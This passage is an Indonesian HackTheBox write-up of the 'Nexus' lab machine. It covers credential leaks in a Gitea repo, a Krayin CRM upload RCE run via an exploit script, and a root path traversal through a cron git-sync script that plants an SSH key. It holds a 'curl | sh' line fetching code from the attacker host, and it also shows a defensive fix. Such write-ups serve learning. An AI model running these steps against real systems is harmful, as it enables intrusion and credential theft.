Nexus — HackTheBox Writeup
Walkthrough
Nexus — HackTheBox Writeup

OVERVIEW
nexus adalah Linux-Machine dengan difficulty easy dari HackTheBox yang berisi tentang exposed Gitea repository dengan leaking credentials dan website job posting yang reveals valid usernames. Credentials yang leaks itu bisa di manfaatkan untuk mengakses layanan Krayin CRMdengan versi 2.2 yang memiliki kerentanan CVE-2026-38526 , mengakibatkan akses shell sebagai www-data . Enumerasi lebih lanjut konfigurasi Krayin CRM reveals credentials yang bisa di gunakan untuk akses SSH . Enumeration service menunjukkan Gitea template sync service vulnerable terhadap directory traversal, yang bisa di manfaatkan untuk mendapatkan akses shell sebagai root.
RECONNAISSANCE
Scan terlebih dahulu port yang bisa di akses dengan nmap
nmap -sC -sV -oA nmap/initial 10.129.52.178

menunjukkan bahwa port 22 SSH dan 80 HTTP dengan redirect ke domain nexus.htb yang berarti fokus nya pada domain tersebut, pertama yang perlu di lakukan adalah menambahkan domain dan ip ke /etc/hosts supaya bisa di resolv dengan
sudo echo "10.129.52.178 nexus.htb" | sudo tee -a /etc/hosts
ENUMERATION

Tampilan utama nexus.htb
dari depan hanya terlihat seperti website perusahaan biasa, tidak ada input atau login yang bisa di exploitasi, coba lebih lanjut dengan toolswhatweb
whatweb http://nexus.htb/

terdapat leak email j.matthew@nexus.htb kita simpan dulu informasi tersebut, namun selebihnya tampak normal, kita coba fuzzing subdomain nya apakah ada layanan lain yang berjalan di domain tersebut, karena ada email nexus.htb mungkin bisa dapat mail server nya
ffuf -w /usr/share/wordlists/seclists/Discovery/DNS/subdomains-top1million-5000.txt:FFUZ -u http://nexus.htb -H "Host: FFUZ.nexus.htb" -fw 4

terlihat bahwa ada subdomain git dan billing , kita tambahkan juga domain ini ke file DNS resolver
sudo echo "10.129.52.178 git.nexus.htb billing.nexus.htb" | sudo tee -a /etc/hosts
pada git.nexus.htb di dalamnya adalah self host Gitea sedangkan billing.nexus.htb adalah Krayin CRM, pertama lihat2 dulu pada Gitea dengan klik explore dan menemukan bahwa terdapat repository admin/krayin-docker-setup yang didalamnya terdapat file .env yang ter ekspos di dalamnya adalah kredensial IMAP, namun coba kita cek riwayat commit nya apakah ada hal lain lagi

Terdapat Password dari key DB_PASSWORD dengan value N27xh!!2ucY04 yang di hapus, dengan ini kita coba login ke Krayin CRM menggunakan kredensial email yang sudah kita temukan sebelumnya dengan password ini

login berhasil dengan user james, setelah mengamati web tersebut dengan versi 2.2.0 menemukan bahwa Krayin CRM ini rentan CVE-2026–38526 yang dapat memicu RCE yaitu Unrestricted PHP File Upload via TinyMCE
EXPLOITATION
Terimakasih kepada NathanHimself yang menyediakan script auto exploit ke CVE-2026–38526
python exploit.py -t http://billing.nexus.htb -u "j.matthew@nexus.htb" -p 'N27xh!!2ucY04' -c "id"
# OUTPUT
# uid=33(www-data) gid=33(www-data) groups=33(www-data)
Script berhasil dengan user www-data dengan menyelami di machine tersebut menggunakan perintah cat /etc/passwd dapat di temukan bahwa ada user jones dan juga konfigurasi Krayin berada di path /var/www/krayin dan dengan melihat file .env nya kita mendapat password baru y27xb3ha!!74GbR . Pada titik ini kita bisa coba login SSH
$ ssh jones@10.129.52.178
jones@10.129.52.178's password:
Welcome to Ubuntu 24.04.4 LTS (GNU/Linux 6.8.0-111-generic x86_64)
Last login: Thu Jul 16 01:24:52 2026 from 10.10.17.10
jones@nexus:~$ ls
user.txt

PRIVILEGE ESCALATION
Sebagai user jones akses nya cukup terbatas coba dengan sudo -l mengembalikan Sorry, user jones may not run sudo on nexus. Selanjutya coba dengan LinPEAS — Linux Privilege Escalation Awesome Script apakah bisa mendapatkan akses root langsung. Setelah menginstall script tersebut di local host supaya bisa di akses oleh VM Target seperti berikut
sudo python3 -m http.server 80 #HOST
curl 10.10.17.10/linpeas.sh | sh #VICTIM

Ternyata linpeas tidak menemukan PrivEsc langsung, investigasi lebih lanjut menemukan bahwa ada cron job gitea-template-sync yang berjalan tiap 2 menit
systemctl list-timers

jika membaca sync script pada /etc/gitea/template-sync.py berfungsi untuk pemeliharaan berkala dengan clone semua repositories dan syncs file content nya ke /home/git/template-staging/<owner>/<repo>/ , penggunaan cron job melalui systemd akan otomatis menggunakan user root, disini Critical flaw nya penggunaan os.path.join() ke path dari git ls-tree yang tidak di sanitasi dapat memicu path traversal
for mode, objhash, filepath in entries:
target = os.path.join(stage_path, filepath)
target_dir = os.path.dirname(target)
untuk mengamankan skrip python dari kerentanan ini, jalur akhir hasil penggebungan harus di validasi menggunakan os.abspath() untuk memastikan bahwa file yang ditulis tidak keluar dari direktori dasar yang di tentukan
abs_stage_path = os.path.abspath(stage_path)
for mode, objhash, filepath in entries:
target = os.path.abspath(os.path.join(abs_stage_path, filepath))
target_dir = os.path.dirname(target)
if not target.startswith(abs_stage_path + os.sep):
log(" [PENTING] Terdeteksi upaya Path Traversal pada file: %s" % filepath)
continue
Eksploitasi Path Traversal
kita akan membuat directory dari Gitea dengan login menggunakan kredensial yang sudah di temukan sebelumnya, pertama mencoba login dengan j.matthew@nexus.htb : N27xh!!2ucY04 tidak berhasil maka coba dengan jones : y27xb3ha!!74GbR baru bisa login ke gitea nya, buat repository biasa dan pastikan centang pada bagian Make repository a template.


clone repository tersebut dan generate pasangan SSH key dari pc yang digunakan dan letakkan pada /tmp/.k supaya hilang ketika perangkat di restart (untuk keamanan PC kita sendiri)
cd /tmp
git clone http://jones:'y27xb3ha!!74GbR'@git.nexus.htb/jones/rce.git
cd rce
touch README.md
ssh-keygen -t ed25519 -f /tmp/.k -N ''
karena client git umumnya verify_path() menolak nama file yang mengandung ../ maka solusinya memodifikasi langsung .git/objects/ dengan script python yang berikut
[embed]
Yang dilakukan script tersebut adalah membungkus public key disimpan sebagai blob dan menyimpan nya pada .git/objects/ lalu merekayasa struktur folder objek bernama Tree, dengan menyusun folder palsu secara terbalik. Setelah itu, skrip membuat objek Commit resmi dan mendaftarkan nya ke main branch di .git/refs/heads/main . jalankan scriptnya :
python build.py

setelah script di jalankan berarti semua payload sudah siap, selanjutnya hanya perlu push repository yang mengandung path traversal tersebut, disini saya menggunakan sudo karena entah kenapa kalau tidak sudo maka push nya ditolak

sudo git push -u origin main --force
bisa di cek apakah sync sudah berjalan di sisi server :
cat /var/log/template-sync.log
[2026-07-16 03:12:04] Template sync starting
[2026-07-16 03:12:04] Found 1 template repo(s)
[2026-07-16 03:12:04] Syncing template: jones/rce
[2026-07-16 03:12:04] synced: README.md
[2026-07-16 03:12:04] synced: ../../../../../root/.ssh/authorized_keys
[2026-07-16 03:12:04] Template sync complete
yess sinkronisasi berhasil menulis key yang tadi di buat ke /root/.ssh/authorized_keys . Selanjutnya bisa login SSH dengan user root dan menamatkan challenge ini
└─$ ssh root@nexus.htb -i /tmp/.k
Welcome to Ubuntu 24.04.4 LTS (GNU/Linux 6.8.0-111-generic x86_64)
root@nexus:~# ls
root.txt

메타데이터
- post_id
- b152febb3c51
- slug
- nexus-hackthebox-writeup-b152febb3c51
- url
- https://medium.com/@fahmiilham029/nexus-hackthebox-writeup-b152febb3c51
- canonical_url
- https://medium.com/@fahmiilham029/nexus-hackthebox-writeup-b152febb3c51
- author_url
- https://medium.com/@fahmiilham029
- status
- ok
- fetched_at
- 2026-07-17 01:05:21